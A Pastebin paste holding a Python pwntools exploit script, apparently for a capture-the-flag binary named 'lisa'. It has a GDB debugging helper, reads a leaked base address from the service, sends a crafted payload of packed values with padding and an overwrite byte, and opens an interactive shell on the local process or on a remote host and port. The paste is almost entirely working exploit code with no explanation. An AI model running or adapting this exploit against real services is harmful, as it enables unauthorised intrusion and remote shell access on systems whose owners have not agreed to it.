SHARE
TWEET

Untitled

finalshare Nov 24th, 2018 80 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import sys
  2. import time
  3. from pwn import *
  4. env = {
  5.     "LD_PRELOAD": "./libc_64.so.6" 
  6. }
  7.  
  8. context(os='linux', arch='amd64')
  9.  
  10.  
  11. def attach(listBp=[]):
  12.     gdb.attach(r,gdbscript=createGDBScript(listBp,pie=True))
  13. def createGDBScript(listBp,pie=True):
  14.     log.info("GDB script");
  15.  
  16.     script =""
  17.     if (pie):
  18.         script+='''
  19.         codebase
  20.         '''
  21.     for a in listBp:
  22.         if (pie):
  23.             script+="b * $piebase + "+hex(a)+"\n"
  24.         else :
  25.             script+="b * "+hex(a)+"\n"
  26.     script+='''
  27.         define magic
  28.         set $arena=$piebase+0x202018
  29.         set $vmmap={long}$arena
  30.         x/50gx $vmmap
  31.         end
  32.     '''
  33.     script+="c\n"
  34.     log.info(script);
  35.     return script
  36. if len(sys.argv) >1:
  37.     flag=1
  38.     r = remote(sys.argv[1], int(sys.argv[2]))
  39. else:
  40.     flag=0
  41.     r = process("./lisa",aslr=True)
  42.  
  43. def main():
  44.     #attach([0xD8C,0xD2b,0x801,0x7a9    ])
  45.     r.recvuntil("share: ")
  46.     base=r.recvuntil("\n")
  47.     base=int(base,16)
  48.     payload=p32(0x0)+p32(base)+p32(1000)
  49.     r.send(payload.ljust(76,"\x01")+"\x15")
  50.     raw_input("Trigerr ?")
  51.     r.send("\x00")
  52.     r.sendline("line")
  53.     r.interactive()
  54. if __name__ == "__main__":
  55.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top